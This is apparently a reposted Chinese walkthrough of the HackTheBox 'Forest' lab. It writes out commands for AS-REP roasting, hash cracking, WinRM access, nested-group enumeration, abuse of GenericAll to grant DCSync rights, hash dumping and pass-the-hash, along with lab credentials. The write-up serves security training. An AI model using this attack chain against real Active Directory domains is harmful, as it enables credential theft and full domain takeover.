HTB-Forest(PowerView.ps1使用、嵌套组解析、了解帐户操作员组)

news2025/1/10 11:35:47

目录

扫描

枚举特定于域控制器的服务

AS-REP烘焙服务帐户svc-alfresco

使用Hashcat破解AS-REP哈希 

作为svc-alfresco获得立足点

攻击后的枚举和权限提升

查找指向“Account Operators”组的嵌套组

使用PowerView.ps1枚举组 

了解帐户操作员组

寻找有价值的ACE

在Exchange受信任子系统组上滥用GenericAll权限

使用DCSync攻击转储DC中的所有哈希


扫描

枚举特定于域控制器的服务

枚举将从尝试从DNS服务器获取区域传输开始。

dig @10.10.10.161 AXFR htb.local

区域传输尝试不成功,因此接下来我将继续讨论kerberos服务。

针对Kerberos服务,我在不提供用户名的情况下测试了快速的No-Preauth成功。

GetNPUsers.py active.htb/ -dc-ip 10.10.10.100

轰!看起来一个长镜头是成功的,我能够揭示一个AS-REP可烤服务帐户:svc-alfresco

通常使用AS-REP烘焙,您需要一个有效的用户名。当涉及到AD枚举时,有三个检查阶段:无凭证(匿名访问)、无密码的有效用户名,然后是有效凭证集(用户名+密码)。 

AS-REP烘焙服务帐户svc-alfresco

现在我可以请求用户的哈希并破解它!

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request

太神奇了!服务帐户AS-REP哈希已转储!

由于这不是一个标准的NTLM散列,我需要破解它,所以我完整地复制了它,并将其粘贴到一个名为hash.txt的文件中 。

使用Hashcat破解AS-REP哈希 

现在散列在文件中并准备破解,我首先使用 hashcat 找到此散列类型的破解模式,然后继续破解它。

hashcat -h | grep -i "AS-REP"

hashcat -m 18200 ./hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt

在短短的10秒钟内,密码被破解了。

检查输出文件,我恢复了svc-alfresco的密码。

svc-alfresco : s3rvice

太好了!我能够在早期获得凭证,现在我可以使用到Kerberos、LDAP、SMB和WinRM等服务的经过身份验证的会话执行更深入的枚举

作为svc-alfresco获得立足点

首先,我检查了这些凭证是否有效,以及它们可以使用crackmapexec访问哪些服务

crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

通过SMB进行测试,确认这些凭据有效;但是,我没有看到Pwn 3D!消息,指示可以通过此服务执行命令。

接下来,我检查了WinRM访问,果然我得到了Pwn 3d!留言

crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

这意味着我将不再需要在外部枚举其他服务,因为我发现了一个快速的胜利,现在我可以使用evil-winrm获得立足点

evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

攻击后的枚举和权限提升

就像初始枚举一样,因为这是一个域控制器,所以开发后枚举将分为两个部分:域特定枚举和常规枚举。

从特定于域的枚举开始,我使用以下命令获取了所有域用户的列表:

net user /domain

列出了相当多的域用户,因此我复制了完整的列表并将其添加到名为user.txt的文件中,然后使用Linux-fu对其进行清理并将其放入名为users.txt的新文件中

cat user.txt | tr ' ' '\n' | sed -r '/^\s*$/d' > users.txt

接下来,我检查了域管理员是谁。

net groups "Domain Admins" /domain

唯一的DA是内置的域管理员帐户。

现在我已经收集了一些关于域用户的信息,我想枚举这些组。

net group /domain

这里有很多非默认组;但是,有一些比较突出,例如Exchange组、特权IT帐户、服务帐户和测试。

另外,我想检查“本地组”,因为它们在加入域时成为“域本地组”,尤其是DC上的组。

net localgroup 

上面我只强调了几个“域本地组”,你不会找到,比方说,一个非域加入Windows机器。

查找指向“Account Operators”组的嵌套组

不幸的是,如果其中任何一个是嵌套的组,我将无法使用net命令进行区分。即使我检查我的当前用户,它也只会显示该用户是其直接成员的组。

net user svc-alfresco /domain

这里显示当前用户是ServiceAccounts组的一部分;但是,它们可以是嵌套了“服务帐户”组的多个组的成员。

由于内置命令存在一些限制,我将使用PowerView.ps1深入研究组。

使用PowerView.ps1枚举组 

在获取PowerView.ps1的副本后,我将其移动到工作目录。回到目标上,我移动到C:\Windows\Temp文件夹来安装商店。

evil-winrm的一个很好的特性是它有一个内置的上传功能,所以我利用它将PowerView.ps1上传到目标上,如下所示:

upload /opt/hackthebox/Forest/PowerView.ps1

接下来,我使用dot-sourcing将脚本导入到当前会话中。

. .\PowerView.ps1

导入后,我可以使用菜单命令检查与此脚本关联的所有可能函数。

加载PowerView后,首先要查找的是当前用户所属的所有组。

Get-DomainGroup -MemberIdentity 'svc-alfresco' | select samaccountname

 

酷!这显示了当前用户是3个组的一部分,但我可以在这里看到“特权IT帐户”,这是我在使用net user命令时没有看到的。这意味着该组可能是嵌套的。

接下来,我想深入每个组,找到与每个组关联的所有嵌套组。

Get-DomainGroup 'Service Accounts' | select samaccountname,memberof

在这里我找到了第一个嵌套组。这表示“服务帐户”组中的所有用户也是“特权IT帐户”组的成员。

现在我找到了这个嵌套的组,我想检查这个组是否也是嵌套的。

Get-DomainGroup 'Privileged IT Accounts' | select samaccountname,memberof

更多的巢!这告诉我,“Privileged IT Accounts”组中的所有用户都是“Account Operators”组的一部分。

Account Operators组实际上是一个域本地组。这就是为什么它没有显示在域组列表中的原因。

由于帐户操作员是一个本地组,很可能我已经达到了终点。

Get-DomainGroup 'Account Operators' | select samaccountname,memberof

这证实了它。此组不是任何其他组的成员。 

svc-alfresco >> Service Accounts >> Privileged IT Accounts >> Account Operators

这实际上是在同一个域中嵌套的最佳实践,应该是:用户/计算机>>全局组>>域本地组

了解帐户操作员组

由于我到达了嵌套路径的末尾,我决定在“帐户操作员”组上运行相同的命令,只是这次我不会选择特定的字段,以便我可以获得有关该组的一些信息。

Get-DomainGroup 'Account Operators'

这很有趣,因为它表明我可以管理用户和组。 

帐户操作员组向用户赠款有限的帐户创建权限。此组的成员可以创建和修改大多数类型的帐户,包括用户、本地组和全局组的帐户。组成员可以在本地登录到域控制器。

帐户操作员组的成员不能管理管理员用户帐户、管理员的用户帐户或 管理员、 服务器操作员、 帐户操作员、 备份操作员或打印操作员组。此组的成员不能修改用户权限。

根据上面的信息,看起来我应该能够创建一个用户并将其添加到一个组,只要它不是上面列出的组之一。

寻找有价值的ACE

  • GenericAll – full rights to the object (add users to a group or reset user’s password)
    GenericAll -对象的完全权限(将用户添加到组或重置用户的密码)
  • GenericWrite – update object’s attributes (i.e logon script)
    GenericWrite -更新对象的属性(即登录脚本)
  • WriteOwner – change object owner to attacker controlled user take over the object
    WriteOwner -将对象所有者更改为攻击者控制的用户接管对象
  • WriteDACL – modify object’s ACEs and give attacker full control right over the object
    WriteDACL -修改对象的ACE并给予攻击者对对象的完全控制权
  • AllExtendedRights – ability to add user to a group or reset password
    AllExtendedRights -将用户添加到组或重置密码的能力
  • ForceChangePassword – ability to change user’s password
    ForceChangePassword -更改用户密码的能力
  • Self (Self-Membership) – ability to add yourself to a group
    Self(Self-Membership)-将自己添加到组的能力

在这个列表中,最有趣的ACE是GenericAll,所以我们可以通过以下命令开始搜索具有此权限的所有组:

$ADSI=[ADSI]"LDAP://DC=htb,DC=local"

$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount]) | Where-Object {$_.IdentityReference -like "*"} | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} | Where-Object {$_.AccessControlType -like "*Allow*"}

我对前两个结果不感兴趣,因为我不能修改任何管理员帐户(包括SYSTEM),也不能修改任何管理组。“组织管理”组是Exchange的管理组,这意味着“Exchange受信任的子系统”对我来说最突出。

在Exchange受信任子系统组上滥用GenericAll权限

由于我是帐户操作员组的一员,我应该能够创建一个帐户并将该帐户添加到“Exchange可信系统”组。由于这个组具有GenericAll权限,我应该能够将新创建的用户添加到这个组,然后给予他们All、ResetPassword、WriteMembers或DCSync权限

net user /add pwnt P@ssw0rd /domain

net group /add 'Exchange Trusted Subsystem' pwnt /domain

完美,现在我想尝试授予用户“DCSync”权利与以下: 

$SecPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\pwnt', $SecPassword)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwnt -Rights DCSync

太好了!它看起来像这一切工作,因为我没有得到任何错误!

DCSync攻击使用Microsoft Directory Replication Service Remote Protocol(MS-DRSR)中的命令伪装成域控制器(DC),以便从另一个DC获取用户凭据。

使用DCSync攻击转储DC中的所有哈希

现在是揭晓真相的时刻。如果一切按预期进行,我应该能够使用转储DC中的所有散列secretsdump.py,如下所示:

secretsdump.py htb.local/pwnt:'P@ssw0rd'@10.10.10.161

轰!成功了!!现在我可以简单地使用管理员散列执行传递散列攻击并获得标志!

最初我先在“组织管理”组上测试了与上面相同的步骤,看起来很有效...但是当我尝试使用secretsdump.py时,它不起作用。 

evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/580862.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IDE装上ChatGPT,这款编辑器真的做到可以自动写代码了!

ChatGPT狂飙160天,世界已经不是之前的样子。 我新建了人工智能中文站https://ai.weoknow.com 每天给大家更新可用的国内可用chatGPT资源 Cursor 是集成了 GPT-4 的 IDE 工具,目前免费并且无需 API Key,支持 Win、Mac、Linux 平台,…

C# | 凸包算法之Graham,快速找到一组点最外侧的凸多边形

C#实现凸包算法之Graham 文章目录 C#实现凸包算法之Graham前言示例代码实现思路测试结果结束语 前言 这篇关于凸包算法的文章,本文使用C#和Graham算法来实现凸包算法。 首先消除两个最基本的问题: 什么是凸包呢? 凸包是一个包围一组点的凸多…

IIC协议

1.认识IIC 1、IIC协议概述: IIC(Inter-Integrated Circuit,集成电路总线)是一种串行通信协议,也被称为I2C协议。它是由荷兰的PHILIPS公司(现在philips公司将其半导体部门拆分出来并更名为NXP半导体公司&a…

KVM虚拟化技术学习-KVM管理

二&#xff0c;KVM管理 1.升级配置 1.创建一个空磁盘卷 [rootlocalhost ~]# qemu-img create -f qcow2 /kvm/images/disk2.qcow2 5G Formatting disk2.qcow2, fmtqcow2 size5368709120 encryptionoff cluster_size65536 lazy_refcountsoff 2.修改配置文件 <disk typefi…

SpringCloudAlibaba整合分布式事务Seata

文章目录 1 整合分布式事务Seata1.1 环境搭建1.1.1 Nacos搭建1.1.2 Seata搭建 1.2 项目搭建1.2.1 项目示意1.2.2 pom.xml1.2.2.1 alibaba-demo模块1.2.2.2 call模块1.2.2.3 order模块1.2.2.4 common模块 1.2.3 配置文件1.2.3.1 order模块1.2.3.2 call模块 1.2.4 OpenFeign调用1…

想要成为一个性能测试工程师需要掌握哪些知识?

如果想要成为一个性能测试工程师需要掌握哪些知识&#xff1f; 可以看看下方教程&#xff01; 2023年最新版Jmeter性能测试项目实战讲解&#xff0c;从入门到精通价值8888的实战教程_哔哩哔哩_bilibili2023年最新版Jmeter性能测试项目实战讲解&#xff0c;从入门到精通价值888…

idea不识别yml文件了

添加上这两个就好了

recurdyn实用操作

目录 1.剖视图查看 2.自动重复操作 3.多个面生成FaceSurface 4.查看质心&#xff0c;质量坐标工具Mass 5.履带仿真建立其他特征路面 6.joint单位 7.创建样条插值函数AKISPL 8.导出结果曲线数据 9.后处理各名称含义 1.剖视图查看 取消剖视图需要重新进入&#xff0c;取…

Redis的ZipList和QuickList和SkipList和RedisObject(未完成)

ZipList:压缩列表&#xff0c;为了节省内存而设计的一种数据结构 ZipList是一种特殊的双端链表&#xff0c;是由一系列的特殊编码的连续内存块组成&#xff0c;不需要通过指针来进行寻址来找到各个节点&#xff0c;可以在任意一端进行压入或者是弹出操作&#xff0c;并且该操作…

C# | 凸包算法之Andrew‘s,获取围绕一组点的凸多边形的轮廓点

C#实现凸包算法之Andrew’s 文章目录 C#实现凸包算法之Andrews前言示例代码实现思路测试结果结束语 前言 这篇关于凸包算法的文章&#xff0c;本文使用C#和Andrew’s算法来实现凸包算法。 首先消除两个最基本的问题&#xff1a; 什么是凸包呢&#xff1f; 凸包是一个包围一组…

上海城市开发者社区小聚有感

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是Rockey&#xff0c;不知名企业的不知名Java开发工程师 &#x1f525;如果感觉博主的文章还不错的话&#xff0c;请&#x1f44d;三连支持&#x1f44d;一下博主哦 &#x1f4dd;联系方式&#xff1a;he18339193956&…

JAVAWEB(上)

一、HTML和CSS 1.盒子 2.表单 3.机器人回答&#xff1a; 3.1 label标签 <label>标签用于关联表单元素和文本标签&#xff0c;通过为表单元素定义文本标签&#xff0c;可以使表单更易于使用和访问。它的基本语法如下&#xff1a;<label for"input_id">…

LeetCode高频算法刷题记录9

文章目录 1. 二叉树的最大深度【简单】1.1 题目描述1.2 解题思路1.3 代码实现 2. 对称二叉树【简单】2.1 题目描述2.2 解题思路2.3 代码实现 3. 二叉树的直径【简单】3.1 题目描述3.2 解题思路3.3 代码实现 4. 验证二叉搜索树【中等】4.1 题目描述4.2 解题思路4.3 代码实现 5. …

基于51单片机的项目作品汇总

篇记录下自己做的项目作品&#xff0c;作品有实物也有仿真&#xff0c;以实物居多&#xff0c;主要是以单片机为主&#xff0c;单片机有HC32,STM32,STC,51等&#xff0c;本人从事单片机行业5年&#xff0c;拥有丰富的经验。也涉及QT&#xff0c;LVGL&#xff0c;嵌入式&#xf…

Java学习笔记20——常用API

常用API 常用APIMath类Math的常用方法 System类System类常用方法 Object类Object类常用方法 Arrays类Arrays常用方法 基本类型包装类Integer类的概述和使用int和String的相互转换自动装箱和拆箱 日期类Date类Date类的常用方法 SimpleDateFormat类SimpleDateFormat的构造方法Sim…

C++ priority_queue

C priority_queue &#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;C &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 本博客主要内容讲解了优先队列的对应接口的使用 文章目录…

APT(Advanced Persistent Threat高级持续性威胁)——网络安全

APT&#xff08;高级持续性威胁&#xff09; 特点攻击过程防御策略与APT相关的加密技术&#xff08;学习侧重&#xff09; 网络安全APT&#xff08;Advanced Persistent Threat高级持续性威胁&#xff09;是一种复杂的网络攻击&#xff0c;旨在长期潜伏在目标网络中&#xff0c…

【线程池】Java线程池的核心参数

目录 一、简介 二、构造方法 三、线程池的核心参数 3.1 corePoolSize 线程池核心线程大小 3.2 maximumPoolSize 线程池最大线程数量 3.3 keepAliveTime 空闲线程存活时间 3.4 unit 空间线程存活时间单位 3.5 workQueue 工作队列 ①ArrayBlockingQueue ②LinkedBlocki…

嵌入式Linux中pinctrl 子系统和 gpio 子系统分析

目录 1、gpio 子系统 API 2、pinctrl 子系统 API 本文讲解 pinctrl 子系统和 gpio 子系统的 API&#xff0c;以及使用示例。 传统的配置 pin 的方式就是直接操作相应的寄存器&#xff0c;但是这种配置方式比较繁琐、而且容易出问题(比如 pin 功能冲突)。pinctrl 子系统就是为…

Linux :: 【基础指令篇 :: 文件及目录操作:(2)】::Linux操作系统的文件“框架”、绝对路径与相对路径及路径定位文件对象的解释

前言&#xff1a;本篇是 Linux 基本操作篇章的内容&#xff01; 笔者使用的环境是基于腾讯云服务器&#xff1a;CentOS 7.6 64bit。 学习集&#xff1a; C 入门到入土&#xff01;&#xff01;&#xff01;学习合集Linux 从命令到网络再到内核&#xff01;学习合集 本篇内容&am…